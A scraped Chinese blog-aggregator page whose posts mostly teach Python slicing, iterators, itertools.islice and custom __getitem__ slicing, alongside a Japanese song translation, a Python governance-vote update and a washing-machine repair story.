itertools 模块的 islice() 方法将迭代器与切片完美结合,终于回答了前面的问题。然而,迭代器切片跟普通切片相比,前者有很多局限性。首先,这个方法不是“纯函数”(纯函数需遵守“相同输入得到相同输出”的原则);其次,它只支持正向切片,且不支持负数索引,这都是由迭代器的损耗性所决定的。
那么,我不禁要问:itertools 模块的切片方法用了什么实现逻辑呢?下方是官网提供的源码:
def islice(iterable, *args):
    # islice('ABCDEFG', 2) --> A B
    # islice('ABCDEFG', 2, 4) --> C D
    # islice('ABCDEFG', 2, None) --> C D E F G
    # islice('ABCDEFG', 0, None, 2) --> A C E G
    s = slice(*args)
    # 索引区间是[0,sys.maxsize],默认步长是1
    start, stop, step = s.start or 0, s.stop or sys.maxsize, s.step or 1
    it = iter(range(start, stop, step))
    try:
        nexti = next(it)
    except StopIteration:
        # Consume *iterable* up to the *start* position.
        for i, element in zip(range(start), iterable):
            pass
        return
    try:
        for i, element in enumerate(iterable):
            if i == nexti:
                yield element
                nexti = next(it)
    except StopIteration:
        # Consume to *stop*.
        for i, element in zip(range(i + 1, stop), iterable):
            pass
islice() 方法的索引方向是受限的,但它也提供了一种可能性:即允许你对一个无穷的(在系统支持范围内)迭代器进行切片的能力。这是迭代器切片最具想象力的用途场景。
除此之外,迭代器切片还有一个很实在的应用场景:读取文件对象中给定行数范围的数据。
我们知道,从文件中读取内容主要有两种方法(参见之前关于文件读写的文章):read() 适合读取内容较少的情况,或者是需要一次性处理全部内容的情况;而 readlines() 适用性更广,因为它是迭代地读取内容,既减少内存压力,又方便逐行对数据处理。
虽然 readlines() 有迭代读取的优势,但它是从头到尾逐行读取,若文件有几千行,而我们只想要读取少数特定行(例如第1000-1009行),那它还是效率太低了。考虑到文件对象天然就是迭代器 ,我们可以使用迭代器切片先行截取,然后再处理,如此效率将大大地提升。
# test.txt 文件内容
'''
猫
Python猫
python is a cat.
this is the end.
'''

from itertools import islice
with open('test.txt','r',encoding='utf-8') as f:
    print(hasattr(f, "__next__"))  # 判断是否迭代器
    content = islice(f, 2, 4)
    for line in content:
        print(line.strip())
### 输出结果:
True
python is a cat.
this is the end.
本节内容较多,简单回顾一下:迭代器是一种特殊的可迭代对象,可用于它遍历与自遍历,但遍历过程是损耗型的,不具备循环复用性,因此,迭代器本身不支持切片操作;通过借助 itertools 模块,我们能实现迭代器切片,将两者的优势相结合,其主要用途在于截取大型迭代器(如无限数列、超大文件等等)的片段,实现精准的处理,从而大大地提升性能与效率。

5、小结

最后总结一下,切片是 Python 的一种高级特性,常用于截取序列类型的元素,但并不局限于此,本文主要介绍了它的基础用法、高级用法(如占位符用法)、自定义对象切片、以及迭代器切片等使用内容。除此之外,切片还有更广阔多样的使用场景,例如 Numpy 的多维切片、内存视图切片、异步迭代器切片等等,都值得我们去探索一番,今限于篇幅而无法细说,欢迎关注公众号“Python猫 ”,以后我们慢慢学习之。
相关链接:

December 31, 2018 12:00 AM

December 30, 2018

pythoncat

Python进阶:迭代器与迭代器切片

在前两篇关于 Python 切片的文章中,我们学习了切片的基础用法、高级用法、使用误区,以及自定义对象如何实现切片用法(相关链接见文末)。本文是切片系列的第三篇,主要内容是迭代器切片。
迭代器是 Python 中独特的一种高级特性,而切片也是一种高级特性,两者相结合,会产生什么样的结果呢?

1、迭代与迭代器

首先,有几个基本概念要澄清:迭代、可迭代对象、迭代器。
迭代 是一种遍历容器类型对象(例如字符串、列表、字典等等)的方式,例如,我们说迭代一个字符串“abc”,指的就是从左往右依次地、逐个地取出它的全部字符的过程。(PS:汉语中迭代一词有循环反复、层层递进的意思,但 Python 中此词要理解成单向水平线性 的,如果你不熟悉它,我建议直接将其理解为遍历。)
那么,怎么写出迭代操作的指令呢?最通用的书写语法就是 for 循环。
# for循环实现迭代过程
for char in "abc":
    print(char, end=" ")
# 输出结果:a b c
for 循环可以实现迭代的过程,但是,并非所有对象都可以用于 for 循环,例如,上例中若将字符串“abc”换成任意整型数字,则会报错: ‘int’ object is not iterable .
这句报错中的单词“iterable”指的是“可迭代的”,即 int 类型不是可迭代的。而字符串(string)类型是可迭代的,同样地,列表、元组、字典等类型,都是可迭代的。
那怎么判断一个对象是否可迭代呢?为什么它们是可迭代的呢?怎么让一个对象可迭代呢?
要使一个对象可迭代,就要实现可迭代协议,即需要实现__iter__() 魔术方法,换言之,只要实现了这个魔术方法的对象都是可迭代对象。
那怎么判断一个对象是否实现了这个方法呢?除了上述的 for 循环外,我知道还有四种方法:
# 方法1:dir()查看__iter__
dir(2)     # 没有,略
dir("abc") # 有,略

# 方法2:isinstance()判断
import collections
isinstance(2, collections.Iterable)     # False
isinstance("abc", collections.Iterable) # True

# 方法3:hasattr()判断
hasattr(2,"__iter__")     # False
hasattr("abc","__iter__") # True

# 方法4:用iter()查看是否报错
iter(2)     # 报错:'int' object is not iterable
iter("abc") # <str_iterator at 0x1e2396d8f28>

### PS:判断是否可迭代,还可以查看是否实现__getitem__,为方便描述,本文从略。
这几种方法中最值得一提的是 iter() 方法,它是 Python 的内置方法,其作用是将可迭代对象变成迭代器 。这句话可以解析出两层意思:(1)可迭代对象跟迭代器是两种东西;(2)可迭代对象能变成迭代器。
实际上,迭代器必然是可迭代对象,但可迭代对象不一定是迭代器。两者有多大的区别呢?
如上图蓝圈所示,普通可迭代对象与迭代器的最关键区别可概括为:一同两不同 ,所谓“一同”,即两者都是可迭代的(__iter__),所谓“两不同”,即可迭代对象在转化为迭代器后,它会丢失一些属性(__getitem__),同时也增加一些属性(__next__)。
首先看看增加的属性 __next__ , 它是迭代器之所以是迭代器的关键,事实上,我们正是把同时实现了 __iter__ 方法 和 __next__ 方法的对象定义为迭代器的。
有了多出来的这个属性,可迭代对象不需要借助外部的 for 循环语法,就能实现自我的迭代/遍历过程。我发明了两个概念来描述这两种遍历过程(PS:为了易理解,这里称遍历,实际也可称为迭代):它遍历 指的是通过外部语法而实现的遍历,自遍历 指的是通过自身方法实现的遍历。
借助这两个概念,我们说,可迭代对象就是能被“它遍历”的对象,而迭代器是在此基础上,还能做到“自遍历”的对象。
ob1 = "abc"
ob2 = iter("abc")
ob3 = iter("abc")

# ob1它遍历
for i in ob1:
    print(i, end = " ")   # a b c
for i in ob1:
    print(i, end = " ")   # a b c
# ob1自遍历
ob1.__next__()  # 报错: 'str' object has no attribute '__next__'

# ob2它遍历
for i in ob2:
    print(i, end = " ")   # a b c    
for i in ob2:
    print(i, end = " ")   # 无输出
# ob2自遍历
ob2.__next__()  # 报错:StopIteration

# ob3自遍历
ob3.__next__()  # a
ob3.__next__()  # b
ob3.__next__()  # c
ob3.__next__()  # 报错:StopIteration
通过上述例子可看出,迭代器的优势在于支持自遍历,同时,它的特点是单向非循环的,一旦完成遍历,再次调用就会报错。
对此,我想到一个比方:普通可迭代对象就像是子弹匣,它遍历就是取出子弹,在完成操作后又装回去,所以可以反复遍历(即多次调用for循环,返回相同结果);而迭代器就像是装载了子弹匣且不可拆卸的枪,进行它遍历或者自遍历都是发射子弹,这是消耗性的遍历,是无法复用的(即遍历会有尽头)。
写了这么多,稍微小结一下:迭代是一种遍历元素的方式,按照实现方式划分,有外部迭代与内部迭代两种,支持外部迭代(它遍历)的对象就是可迭代对象,而同时还支持内部迭代(自遍历)的对象就是迭代器;按照消费方式划分,可分为复用型迭代与一次性迭代,普通可迭代对象是复用型的,而迭代器是一次性的。

2、迭代器切片

前面提到了“一同两不同”,最后的不同是,普通可迭代对象在转化成迭代器的过程中会丢失一些属性,其中关键的属性是 __getitem__ 。在《Python进阶:自定义对象实现切片功能》中,我曾介绍了这个魔术方法,并用它实现了自定义对象的切片特性。
那么问题来了:为什么迭代器不继承这个属性呢?
首先,迭代器使用的是消耗型的遍历,这意味着它充满不确定性,即其长度与索引键值对是动态衰减的,所以很难 get 到它的 item ,也就不再需要 __getitem__ 属性了。其次,若强行给迭代器加上这个属性,这并不合理,正所谓强扭的瓜不甜…
由此,新的问题来了:既然会丢失这么重要的属性(还包括其它未标识的属性),为什么还要使用迭代器呢?
这个问题的答案在于,迭代器拥有不可替代的强大的有用的功能,使得 Python 要如此设计它。限于篇幅,此处不再展开,后续我会专门填坑此话题。
还没完,死缠烂打的问题来了:能否令迭代器拥有这个属性呢,即令迭代器继续支持切片呢?
hi = "欢迎关注公众号:Python猫"
it = iter(hi)

# 普通切片
hi[-7:] # Python猫

# 反例:迭代器切片
it[-7:] # 报错:'str_iterator' object is not subscriptable
迭代器因为缺少__getitem__ ,因此不能使用普通的切片语法。想要实现切片,无非两种思路:一是自己造轮子,写实现的逻辑;二是找到封装好的轮子。
Python 的 itertools 模块就是我们要找的轮子,用它提供的方法可轻松实现迭代器切片。
import itertools

# 例1:简易迭代器
s = iter("123456789")
for x in itertools.islice(s, 2, 6):
    print(x, end = " ")   # 输出:3 4 5 6
for x in itertools.islice(s, 2, 6):
    print(x, end = " ")   # 输出:9

# 例2:斐波那契数列迭代器
class Fib():
    def __init__(self):
        self.a, self.b = 1, 1

    def __iter__(self):
        while True:
            yield self.a
            self.a, self.b = self.b, self.a + self.b
f = iter(Fib())
for x in itertools.islice(f, 2, 6):
    print(x, end = " ")  # 输出:2 3 5 8
for x in itertools.islice(f, 2, 6):
    print(x, end = " ")  # 输出:34 55 89 144
itertools 模块的 islice() 方法将迭代器与切片完美结合,终于回答了前面的问题。然而,迭代器切片跟普通切片相比,前者有很多局限性。首先,这个方法不是“纯函数”(纯函数需遵守“相同输入得到相同输出”的原则,之前在《来自Kenneth Reitz大神的建议:避免不必要的面向对象编程》提到过);其次,它只支持正向切片,且不支持负数索引,这都是由迭代器的损耗性所决定的。
那么,我不禁要问:itertools 模块的切片方法用了什么实现逻辑呢?下方是官网提供的源码:
def islice(iterable, *args):
    # islice('ABCDEFG', 2) --> A B
    # islice('ABCDEFG', 2, 4) --> C D
    # islice('ABCDEFG', 2, None) --> C D E F G
    # islice('ABCDEFG', 0, None, 2) --> A C E G
    s = slice(*args)
    # 索引区间是[0,sys.maxsize],默认步长是1
    start, stop, step = s.start or 0, s.stop or sys.maxsize, s.step or 1
    it = iter(range(start, stop, step))
    try:
        nexti = next(it)
    except StopIteration:
        # Consume *iterable* up to the *start* position.
        for i, element in zip(range(start), iterable):
            pass
        return
    try:
        for i, element in enumerate(iterable):
            if i == nexti:
                yield element
                nexti = next(it)
    except StopIteration:
        # Consume to *stop*.
        for i, element in zip(range(i + 1, stop), iterable):
            pass
islice() 方法的索引方向是受限的,但它也提供了一种可能性:即允许你对一个无穷的(在系统支持范围内)迭代器进行切片的能力。这是迭代器切片最具想象力的用途场景。
除此之外,迭代器切片还有一个很实在的应用场景:读取文件对象中给定行数范围的数据。
在《给Python学习者的文件读写指南(含基础与进阶,建议收藏)》里,我介绍了从文件中读取内容的几种方法:readline() 比较鸡肋,不咋用;read() 适合读取内容较少的情况,或者是需要一次性处理全部内容的情况;而 readlines() 用的较多,比较灵活,每次迭代读取内容,既减少内存压力,又方便逐行对数据处理。
虽然 readlines() 有迭代读取的优势,但它是从头到尾逐行读取,若文件有几千行,而我们只想要读取少数特定行(例如第1000-1009行),那它还是效率太低了。考虑到文件对象天然就是迭代器 ,我们可以使用迭代器切片先行截取,然后再处理,如此效率将大大地提升。
# test.txt 文件内容
'''
猫
Python猫
python is a cat.
this is the end.
'''

from itertools import islice
with open('test.txt','r',encoding='utf-8') as f:
    print(hasattr(f, "__next__"))  # 判断是否迭代器
    content = islice(f, 2, 4)
    for line in content:
        print(line.strip())
### 输出结果:
True
python is a cat.
this is the end.

3、小结

好啦,今天的学习就到这,小结一下:迭代器是一种特殊的可迭代对象,可用于它遍历与自遍历,但遍历过程是损耗型的,不具备循环复用性,因此,迭代器本身不支持切片操作;通过借助 itertools 模块,我们能实现迭代器切片,将两者的优势相结合,其主要用途在于截取大型迭代器(如无限数列、超大文件等等)的片段,实现精准的处理,从而大大地提升性能与效率。
切片系列:
相关链接:
2018-12-31 更新声明:切片系列文章本是分三篇写成,现已合并成一篇。合并后,修正了一些严重的错误(如自定义序列切片的部分),还对行文结构与章节衔接做了大量改动。原系列的单篇就不删除了,毕竟也是有单独成篇的作用。特此声明,请阅读改进版——《Python进阶:全面解读高级特性之切片!

December 30, 2018 12:00 AM

December 26, 2018

pythoncat

Python进阶:自定义对象实现切片功能

切片是 Python 中最迷人最强大最 Amazing 的语言特性(几乎没有之一),在《Python进阶:切片的误区与高级用法》中,我介绍了切片的基础用法、高级用法以及一些使用误区。
这些内容都是基于原生的序列类型(如字符串、列表、元组…),那么,我们是否可以定义自己的序列类型并让它支持切片语法呢?更进一步,我们是否可以自定义其它对象(如字典)并让它支持切片呢?

1、魔术方法:__getitem__()

想要使自定义对象支持切片语法并不难,只需要在定义类的时候给它实现魔术方法 __getitem__() 即可。所以,这里就先介绍一下这个方法。
语法: object.__getitem__(self, key)
官方文档释义:

Called to implement evaluation of self[key]. For sequence types, the accepted keys should be integers and slice objects. Note that the special interpretation of negative indexes (if the class wishes to emulate a sequence type) is up to the __getitem__() method. If key is of an inappropriate type, TypeError may be raised; if of a value outside the set of indexes for the sequence (after any special interpretation of negative values), IndexError should be raised. For mapping types, if key is missing (not in the container), KeyError should be raised.

概括翻译一下:__getitem__() 方法用于返回参数 key 所对应的值,这个 key 可以是整型数值和切片对象,并且支持负数索引;如果 key 不是以上两种类型,就会抛 TypeError;如果索引越界,会抛 IndexError ;如果定义的是映射类型,当 key 参数不是其对象的键值时,则会抛 KeyError 。

2、自定义序列实现切片功能

接下来,我们定义一个简单的 MyList ,并给它加上切片功能。(PS:仅作演示,不保证其它功能的完备性)。
class MyList():
    def __init__(self):
        self.data = []
    def append(self, item):
        self.data.append(item)
    def __iter__(self):
        return self
    def __getitem__(self, key):
        print("key is : " + str(key))
        return self.data[key]

l = MyList()
l.append("My")
l.append("name")
l.append("is")
l.append("Python猫")

print(l[3])
print(l[:2])
print(l['hi'])

### 输出结果:
key is : 3
Python猫
key is : slice(None, 2, None)
['My', 'name']
key is : hi
Traceback (most recent call last):
...
TypeError: list indices must be integers or slices, not str
    
#####
2018-12-31 更新声明:本例未考虑到返回类型,严格来说并未实现切片。
在合并的文章里已做修正:https://mp.weixin.qq.com/s/IRAjR-KHZBPEEkdiofseGQ
从输出结果来看,自定义的 MyList 既支持按索引查找,也支持切片操作,这正是我们的目的。
特别需要说明的是,此例中的 __getitem__() 方法会根据不同的参数类型而实现不同的功能(取索引位值或切片值),也会妥当地处理异常,所以并不需要我们再去写繁琐的处理逻辑。
网上有不少学习资料完全是在误人子弟,它们会教你区分参数的不同类型,然后写一大段代码来实现索引查找和切片语法,简直是画蛇添足。下面的就是一个代表性的错误示例:
###略去其它代码####
def __getitem__(self, index):
    cls = type(self)
    if isinstance(index, slice):  # 如果index是个切片类型,则构造新实例
       return cls(self._components[index])
    elif isinstance(index, numbers.Integral):  # 如果index是个数,则直接返回
        return self._components[index]
    else:
        msg = "{cls.__name__} indices must be integers"
        raise TypeError(msg.format(cls=cls))

3、自定义字典实现切片功能

切片是序列类型的特性,所以在上例中,我们不需要写切片的具体实现逻辑。但是,对于其它非序列类型的自定义对象,就得自己实现切片逻辑。以自定义字典为例(PS:仅作演示,不保证其它功能的完备性):
class MyDict():
    def __init__(self):
        self.data = {}
    def __len__(self):
        return len(self.data)
    def append(self, item):
        self.data[len(self)] = item
    def __getitem__(self, key):
        if isinstance(key, int):
            return self.data[key]
        if isinstance(key, slice):
            slicedkeys = list(self.data.keys())[key]
            return {k: self.data[k] for k in slicedkeys}
        else:
            raise TypeError

d = MyDict()
d.append("My")
d.append("name")
d.append("is")
d.append("Python猫")
print(d[2])
print(d[:2])
print(d[-4:-2])
print(d['hi'])

### 输出结果:
is
{0: 'My', 1: 'name'}
{0: 'My', 1: 'name'}
Traceback (most recent call last):
...
TypeError
上例的关键点在于将字典的键值取出,并对键值的列表做切片处理,其妙处在于,不用担心索引越界和负数索引,将字典切片转换成了字典键值的切片,最终实现目的。

4、小结

最后小结一下:本文介绍了__getitem__() 魔术方法,并用于实现自定义对象(以列表类型和字典类型为例)的切片功能,希望对你有所帮助。
参考阅读:
官方文档getitem用法:http://t.cn/EbzoZyp
Python切片赋值源码分析:http://t.cn/EbzSaoZ
2018-12-31 更新声明:切片系列文章本是分三篇写成,现已合并成一篇。合并后,修正了一些严重的错误(如自定义序列切片的部分),还对行文结构与章节衔接做了大量改动。原系列的单篇就不删除了,毕竟也是有单独成篇的作用。特此声明,请阅读改进版—— 《Python进阶:全面解读高级特性之切片!

December 26, 2018 12:00 AM

December 23, 2018

farseerfc

【聽譯】君さえいなけりゃよかった

君さえいなけりゃよかった 如果你從未出現過該多好
降り出した雨の中で 君に出会った時から 下起雨的那一刻 從遇到你那時起
君がいないということが 当たり前じゃなくなった 身邊沒有你的情況 就已經不再是平常
ああ こんなはずじゃない 啊 不應該是這樣的
ずっと自分勝手にさ 過ごせたはずなのに 明明一直是散漫地過着自己的日子
まるで僕じゃないような僕が さらけ出されてくよ 就像是帶出了不是我的另一面的我

君さえいなけりゃよかった こんな気持ちは知らないから 如果你從未出現過該多好 就不會知道這種心情
やらなくちゃいけないことが 手つかずのまま積もってく 一堆不得不做的事情 堆在手頭越積越多
僕じゃなくてもいいのなら こっちを見て笑わないでよ 如果不是我也可以的話 就別看着我這邊笑啊
大袈裟じゃなくてそれだけで 忘れられなくなるの 甚至那些不重要的事情 都變得難以忘記了

君の適当な話も 全部心に刺さります 你無意間隨口說的話 全都刺在心頭
気にしなけりゃいいのにな 残らずかき集めちゃうの 雖說只要不在意就可以了 卻一句不剩全收集了起來
ああ こんなはずじゃない こんなはずじゃない 啊 不應該是這樣的 不應該是這樣的

君に出会わなきゃよかった こんなに寂しくなるのなら 如果沒遇到過你該多好 就不會變得如此寂寞
君じゃなくてもいいことが もう見つからないの 已經找不到 和你無關也可以的情況了
忘れられないから 君じゃなかったら 無法忘記了 要不是你的話

いっそ見損なってしまうような そんなひとだったらなあ 乾脆變成根本看不起的人 如果是那種人的話
でもそれでも どうせ無理そう 嫌いになれないや 但是即使如此 大概反正也不可能 無法變得討厭

僕がいなくてもいいなら いっそ不幸になってしまえ 如果不是我也可以的話 乾脆變得不幸吧
最後にまた僕の元に 泣きついてくればいい 最後還是會回到我身邊 哭着湊過來的話就可以
君さえいなけりゃよかった こんな気持ちは知らないから 如果沒有你該多好 就不會知道這種心情
やらなくちゃいけないことが 手つかずのまま積もってく 一堆不得不做的事情 堆在手頭越積越多
僕じゃなくてもいいのなら こっちを見て笑わないでよ 如果不是我也可以的話 就別看着我這邊笑啊
大袈裟じゃなくてそれだけで 甚至那些不重要的事情
君のこと 間違いなく 對你 毫無疑問
苦しいほど 好きになっちゃうよ 刻骨銘心地 變得喜歡上了啊

忘れられないから 君じゃなかったら 因爲無法忘記 如果不是你的話
君に出会わなきゃ 僕じゃなかったら 要是沒遇到過你 如果不是我的話
君さえいなけりゃよかった 如果你從未出現過該多好

by farseerfc at December 23, 2018 02:04 PM

pythoncat

Python进阶:切片的误区与高级用法

众所周知,我们可以通过索引值(或称下标)来查找序列类型(如字符串、列表、元组…)中的单个元素,那么,如果要获取一个索引区间的元素该怎么办呢?
切片(slice)就是一种截取索引片段的技术,借助切片技术,我们可以十分灵活地处理序列类型的对象。通常来说,切片的作用就是截取序列对象,然而,它还有一些使用误区与高级用法,都值得我们注意。所以,本文将主要跟大家一起来探讨这些内容,希望你能学有所获。
事先声明,切片并非列表的专属操作,但因为列表最具有代表性,所以,本文仅以列表为例作探讨。

1、切片的基础用法

列表是 Python 中极为基础且重要的一种数据结构,我曾写过一篇汇总文章(链接见文末)较全面地学习过它。文中详细地总结了切片的基础用法,现在回顾一下:
切片的书写形式:[i : i+n : m] ;其中,i 是切片的起始索引值,为列表首位时可省略;i+n 是切片的结束位置,为列表末位时可省略;m 可以不提供,默认值是1,不允许为0 ,当m为负数时,列表翻转。注意:这些值都可以大于列表长度,不会报越界。
切片的基本含义是:从序列的第i位索引起,向右取到后n位元素为止,按m间隔过滤
li = [1, 4, 5, 6, 7, 9, 11, 14, 16]

# 以下写法都可以表示整个列表,其中 X >= len(li)
li[0:X] == li[0:] == li[:X] == li[:] == li[::] == li[-X:X] == li[-X:]

li[1:5] == [4,5,6,7] # 从1起,取5-1位元素
li[1:5:2] == [4,6] # 从1起,取5-1位元素,按2间隔过滤
li[-1:] == [16] # 取倒数第一个元素
li[-4:-2] == [9, 11] # 从倒数第四起,取-2-(-4)=2位元素
li[:-2] == li[-len(li):-2] == [1,4,5,6,7,9,11] # 从头开始,取-2-(-len(li))=7位元素

# 步长为负数时,列表先翻转,再截取
li[::-1] == [16,14,11,9,7,6,5,4,1] # 翻转整个列表
li[::-2] == [16,11,7,5,1] # 翻转整个列表,再按2间隔过滤
li[:-5:-1] == [16,14,11,9] # 翻转整个列表,取-5-(-len(li))=4位元素
li[:-5:-3] == [16,9] # 翻转整个列表,取-5-(-len(li))=4位元素,再按3间隔过滤

# 切片的步长不可以为0
li[::0]  # 报错(ValueError: slice step cannot be zero)
上述的某些例子对于初学者(甚至很多老手)来说,可能还不好理解。我个人总结出两条经验:
(1)牢牢记住公式[i : i+n : m] ,当出现缺省值时,通过想象把公式补全;
(2)索引为负且步长为正时,按倒数计算索引位置;索引为负且步长为负时,先翻转列表,再按倒数计算索引位置。

2、切片是伪独立对象

切片操作的返回结果是一个新的独立的序列(PS:也有例外,参见《Python是否支持复制字符串呢?》)。以列表为例,列表切片后得到的还是一个列表,占用新的内存地址。
当取出切片的结果时,它是一个独立对象,因此,可以将其用于赋值操作,也可以用于其它传递值的场景。但是,切片只是浅拷贝,它拷贝的是原列表中元素的引用,所以,当存在变长对象的元素时,新列表将受制于原列表。
li = [1, 2, 3, 4]
ls = li[::]

li == ls # True
id(li) == id(ls) # False
li.append(li[2:4]) # [1, 2, 3, 4, [3, 4]]
ls.extend(ls[2:4]) # [1, 2, 3, 4, 3, 4]

# 下例等价于判断li长度是否大于8
if(li[8:]):
    print("not empty")
else:
    print("empty")

# 切片列表受制于原列表
lo = [1,[1,1],2,3]
lp = lo[:2] # [1, [1, 1]]
lo[1].append(1) # [1, [1, 1, 1], 2, 3]
lp # [1, [1, 1, 1]]
由于可见,将切片结果取出,它可以作为独立对象使用,但是也要注意,是否取出了变长对象的元素。

3、切片可作为占位符

切片既可以作为独立对象被“取出”原序列,也可以留在原序列,作为一种占位符使用。
在写《详解Python拼接字符串的七种方式》的时候,我介绍了几种拼接字符串的方法,其中三种格式化类的拼接方法(即 %、format()、template)就是使用了占位符的思想。对于列表来说,使用切片作为占位符,同样能够实现拼接列表的效果。特别需要注意的是,给切片赋值的必须是可迭代对象。
li = [1, 2, 3, 4]

# 在头部拼接
li[:0] = [0] # [0, 1, 2, 3, 4]
# 在末尾拼接
li[len(li):] = [5,7] # [0, 1, 2, 3, 4, 5, 7]
# 在中部拼接
li[6:6] = [6] # [0, 1, 2, 3, 4, 5, 6, 7]

# 给切片赋值的必须是可迭代对象
li[-1:-1] = 6 # (报错,TypeError: can only assign an iterable)
li[:0] = (9,) #  [9, 0, 1, 2, 3, 4, 5, 6, 7]
li[:0] = range(3) #  [0, 1, 2, 9, 0, 1, 2, 3, 4, 5, 6, 7]
上述例子中,若将切片作为独立对象取出,那你会发现它们都是空列表,即 li[:0]==li[len(li):]==li[6:6]==[] ,我将这种占位符称为“纯占位符”,对纯占位符赋值,并不会破坏原有的元素,只会在特定的索引位置中拼接进新的元素。删除纯占位符时,也不会影响列表中的元素。
与“纯占位符”相对应,“非纯占位符”的切片是非空列表,对它进行操作(赋值与删除),将会影响原始列表。如果说纯占位符可以实现列表的拼接,那么,非纯占位符可以实现列表的替换。
li = [1, 2, 3, 4]

# 不同位置的替换
li[:3] = [7,8,9] # [7, 8, 9, 4]
li[3:] = [5,6,7] # [7, 8, 9, 5, 6, 7]
li[2:4] = ['a','b'] # [7, 8, 'a', 'b', 6, 7]

# 非等长替换
li[2:4] = [1,2,3,4] # [7, 8, 1, 2, 3, 4, 6, 7]
li[2:6] = ['a']  # [7, 8, 'a', 6, 7]

# 删除元素
del li[2:3] # [7, 8, 6, 7]
切片占位符可以带步长,从而实现连续跨越性的替换或删除效果。需要注意的是,这种用法只支持等长替换。
li = [1, 2, 3, 4, 5, 6]

li[::2] = ['a','b','c'] # ['a', 2, 'b', 4, 'c', 6]
li[::2] = [0]*3 # [0, 2, 0, 4, 0, 6]
li[::2] = ['w'] # 报错,attempt to assign sequence of size 1 to extended slice of size 3

del li[::2] # [2, 4, 6]

4、更多思考

其它编程语言是否有类似于 Python 的切片操作呢?有什么差异?
我在交流群里问了这个问题,小伙伴们纷纷说 Java、Go、Ruby…在查看相关资料的时候,我发现 Go 语言的切片是挺奇怪的设计。首先,它是一种特殊类型,即对数组(array)做切片后,得到的竟然不是一个数组;其次,你可以创建和初始化一个切片,需要声明长度(len)和容量(cap);再者,它还存在超出底层数组的界限而需要进行扩容的动态机制,这倒是跟 Python 列表的超额分配机制有一定相似性…
在我看来,无论是用意,还是写法和用法,都是 Python 的切片操作更明了与好用。所以,本文就不再进行跨编程语言的比较了(唔,好吧我承认,其实是我不怎么懂其它编程语言…)
最后,还有一个问题:Python 的切片操作有什么底层原理呢? 我们是否可以自定义切片操作呢?限于篇幅,我将在下次推文中跟大家一起学习,敬请期待。
2018-12-31 更新声明:切片系列文章本是分三篇写成,现已合并成一篇。合并后,修正了一些严重的错误(如自定义序列切片的部分),还对行文结构与章节衔接做了大量改动。原系列的单篇就不删除了,毕竟也是有单独成篇的作用。特此声明,请阅读改进版—— 《Python进阶:全面解读高级特性之切片!

December 23, 2018 12:00 AM

December 17, 2018

pythoncat

Python决策权的投票结果诞生了,“指导委员会”模式拔得头筹

2018年12月17日20点,Python 治理提案的投票结果出来了,最终胜出的是 PEP-8016。
在几天前,我们推文《最新进展|关于Python治理模式的投票》,已经很明白地预测了这个结果,现在得到了证实。毫无悬念。
对于这个结果,暂时没必要多说吧。等过几天,核心开发者们应该会有下一步的计划,到时候,我会关注其后续进展以及带来的影响,再跟大家细谈。
此前,我们公众号(Python猫 )连续三篇文章介绍了本次的投票,关注到了多个维度的内容,以下仅附上相关链接,以供阅读。
Python 之父退出决策层后,社区里提出了7种治理模式的提案,这些提案各有什么差异点呢?Python 核心开发者 Victor Stinner 做了详细比对,此文可以带你了解各种治理提案的异同。
本文主要回顾了Python 之父的退位风波、各种治理提案的提出、以及此次事件的重要意义。
上周,投票刚进行一半,本文汇总了部分核心开发者的投票意向(主要是Python之父Guido的看法),并做了一个预测。
最后,我还注意到了两个小细节:
1、共 94 个投票名额,但实际有效投票只有 62 票,也就是总数的 2/3 。实话说,有这么多的无效票/弃权票,我感到很意外,毕竟,整个投票期可是整整 16 天啊!这对投票方案的实施,是否会带来不利的影响呢?
2、关于投票时间。首先,投票开启的时间就比几个月前计划的延迟了,而投票结束的时间也有临时的变更——本应结束于17日中午12点,但实际却延迟到晚上8点。这段时间里,发生了什么事情呢?
但愿这只是“区区小事”吧…
update:
12.18 更正一个错误,文中说实际结束时间是晚上8点,但刚看到邮件列表,结束时间是12点。初步怀疑是时区显示的问题(投票结果的网站上,显示可能有误)。

December 17, 2018 12:00 AM

December 15, 2018

anji66

波轮洗衣机装不住水怎么办?

洗衣机莫名其妙罢工了,老婆也差点罢工了。这大冬天的手洗衣服着实有点冷,必须得修,本着自己动手丰衣足食的原则,说干就干。一般情况下洗衣机不存水,一直排水,肯定是物理管路的问题。而最大的可能就是下排水阀坏了,而排水阀故障主要是两个方面,要么阀体的密封橡胶圈坏了,要么电磁阀不回位。有这个基础常识就好办了,动起手来就有目的性了,无非就是一顿拆拆拆而已。


先来看个图吧,这是博主放了半天的水,只见上面放水,下面排水。这就算放一天也怕是放不满了。

1.jpg

先排查下故障原因。

前面说最有可能的就是排水阀坏了,如果阀体不回位,电路板故障也有可能。先给洗衣断电,拔下插头一分钟后再插上,重复注水程序。无果,指示灯什么的都正常,电路板故障概率比较低,那么久是排水阀的故障概率更高了,要么电磁阀坏了,要么就是电磁阀被什么给卡住了。从简单往复杂了干,那就拆拆拆吧。搬开洗衣机到宽敞点的地方来,拆开后盖,瞄一眼其实就发现问题了,电磁阀被卡出来。

▼这是洗衣桶的底部。

2.jpg

放大一点看到没,管路里面有个硬币。

3.jpg

排除故障取出硬币的过程。

先拆下下面的排水管,接着把电磁阀的阀杆拉到一边,这个需要点力气,常识掏出硬币,无果。只好去找一个钩子,我从铜包钢电缆中剪下一截,取出里面的张力铁丝,弄个弯钩,掏了半天,结果还是没掏出来,只好把洗衣机横向放倒,让硬币掉到口子边上,还是用手指掏出来的。这个就是那铁丝钩子。没起到作用。

4.jpg

5.jpg

最后掏出硬币,全部装回,试机,完成。告诫各位朋友,洗衣服的时候记得掏干净口袋里面的异物。好了我得去说说我家媳妇去。。。


by 西枫里 at December 15, 2018 04:36 AM

pythoncat

Python 对象的空间边界:独善其身与开放包容

导读:Python猫是一只喵星来客,它爱地球的一切,特别爱优雅而无所不能的 Python。我是它的人类朋友豌豆花下猫,被授权润色与发表它的文章。如果你是第一次看到这个系列文章,那我强烈建议,请先看看它写的前两篇文章(链接见文末),相信你一定会爱上这只神秘的哲学+极客猫的。不多说啦,一起来享用今天的“思想盛宴”吧!
睡觉是我最爱做的事——因为可以懒懒地做美梦,不用吃东西,不用跟人吵架,不用关心世界大事。这是除了学 Python 与写作之外,最让我舒服的事了。所以,才刚醒来,我就又困了…
刚才看到了 Python 老爹 Guido 的邮件,他说要“go back to sleep mode”,不参与正在进行的 PEP 投票了。哼,这只懒惰的老头——等等我啊,等写完这篇东西,我也要 go back to sleep mode…
